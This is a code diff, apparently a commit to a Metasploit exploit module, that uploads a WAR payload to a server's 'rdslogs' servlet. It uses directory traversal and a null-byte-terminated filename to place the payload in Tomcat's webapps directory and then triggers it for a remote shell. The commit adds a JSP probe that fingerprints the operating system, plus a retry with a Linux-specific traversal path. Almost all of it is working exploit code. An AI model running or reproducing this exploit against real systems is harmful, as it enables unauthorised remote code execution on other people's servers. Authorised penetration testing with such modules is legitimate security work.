@@ -75,47 +75,79 @@ def check
75
75
return Exploit ::CheckCode ::Detected
76
76
end
77
77
end
78
+
79
+
80
+ def pick_target
81
+ unless target . name == 'Automatic'
82
+ return target
83
+ end
78
84
85
+ print_status ( "#{ peer } - Determining target" )
86
+ os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
87
+ url = upload_payload ( os_finder_payload , false )
79
88
80
- def exploit
81
- app_base = rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) )
82
- tomcat_path = '../../../../'
83
- servlet_path = 'rdslogs'
84
-
85
- # We need to create the upload directories before our first attempt to upload the WAR.
86
- print_status ( "#{ peer } - Creating upload directory" )
87
- bogus_file = rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) )
88
- send_request_cgi ( {
89
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , servlet_path ) ,
90
- 'method' => 'POST' ,
91
- 'data' => Zlib ::Deflate . deflate ( rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) ) ) ,
92
- 'ctype' => 'application/xml' ,
93
- 'vars_get' => {
94
- 'rdsName' => bogus_file
95
- }
89
+ res = send_request_cgi ( {
90
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , url ) ,
91
+ 'method' => 'GET' ,
92
+ 'cookie' => @cookie ,
93
+ 'headers' => { 'Referer' => Rex ::Text . rand_text_alpha ( 10 + rand ( 10 ) ) }
96
94
} )
97
95
98
- war_payload = payload . encoded_war ( { :app_name => app_base } ) . to_s
96
+ if res && res . code == 200
97
+ if res . body . to_s =~ /Linux/
98
+ register_files_for_cleanup ( 'webapps/' + url )
99
+ return targets [ 1 ]
100
+ elsif res . body . to_s =~ /Windows/
101
+ register_files_for_cleanup ( 'root/' + url )
102
+ return targets [ 2 ]
103
+ end
104
+ end
99
105
106
+ nil
107
+ end
108
+
109
+
110
+ def send_payload ( war_payload , tomcat_path , app_base )
100
111
# We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail
101
112
print_status ( "#{ peer } - Uploading WAR file..." )
102
113
res = send_request_cgi ( {
103
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , servlet_path ) ,
114
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'rdslogs' ) ,
104
115
'method' => 'POST' ,
105
116
'data' => Zlib ::Deflate . deflate ( war_payload ) ,
106
117
'ctype' => 'application/octet-stream' ,
107
118
'vars_get' => {
108
- 'rdsName' => "#{ tomcat_path } /tomcat/webapps/ #{ app_base } .war\x00 "
119
+ 'rdsName' => "../../../../ #{ tomcat_path } #{ app_base } .war\x00 "
109
120
}
110
121
} )
111
-
122
+
112
123
# The server either returns a 200 OK when the upload is successful.
113
124
if res && res . code == 200
114
125
print_status ( "#{ peer } - Upload appears to have been successful, waiting #{ datastore [ 'SLEEP' ] } seconds for deployment" )
115
- register_files_for_cleanup ( "tomcat/webapps/#{ app_base } .war" )
116
126
else
117
127
fail_with ( Failure ::Unknown , "#{ peer } - WAR upload failed" )
118
128
end
129
+ end
130
+
131
+
132
+ def exploit
133
+ # We need to create the upload directories before our first attempt to upload the WAR.
134
+ print_status ( "#{ peer } - Creating upload directory" )
135
+ bogus_file = rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) )
136
+ send_request_cgi ( {
137
+ 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'rdslogs' ) ,
138
+ 'method' => 'POST' ,
139
+ 'data' => Zlib ::Deflate . deflate ( rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) ) ) ,
140
+ 'ctype' => 'application/xml' ,
141
+ 'vars_get' => {
142
+ 'rdsName' => bogus_file
143
+ }
144
+ } )
145
+
146
+ app_base = rand_text_alphanumeric ( 4 + rand ( 32 - 4 ) )
147
+ war_payload = payload . encoded_war ( { :app_name => app_base } ) . to_s
148
+
149
+ send_payload ( war_payload , 'tomcat/webapps/' , app_base )
150
+ register_files_for_cleanup ( "tomcat/webapps/#{ app_base } .war" )
119
151
120
152
10 . times do
121
153
select ( nil , nil , nil , 2 )
@@ -131,5 +163,26 @@ def exploit
131
163
# Success! Triggered the payload, should have a shell incoming
132
164
break if res . code == 200
133
165
end
166
+ print_error ( "#{ peer } - Failed to launch payload. Trying one last time with a different path..." )
167
+
168
+ # OK this might be a Linux server, it's a different traversal path.
169
+ # Let's try again...
170
+ send_payload ( war_payload , '' , app_base )
171
+ register_files_for_cleanup ( "webapps/#{ app_base } .war" )
172
+
173
+ 10 . times do
174
+ select ( nil , nil , nil , 2 )
175
+
176
+ # Now make a request to trigger the newly deployed war
177
+ print_status ( "#{ peer } - Attempting to launch payload in deployed WAR..." )
178
+ res = send_request_cgi ( {
179
+ 'uri' => normalize_uri ( app_base , Rex ::Text . rand_text_alpha ( rand ( 8 ) +8 ) ) ,
180
+ 'method' => 'GET'
181
+ } )
182
+ # Failure. The request timed out or the server went away.
183
+ break if res . nil?
184
+ # Success! Triggered the payload, should have a shell incoming
185
+ break if res . code == 200
186
+ end
134
187
end
135
188
end
0 commit comments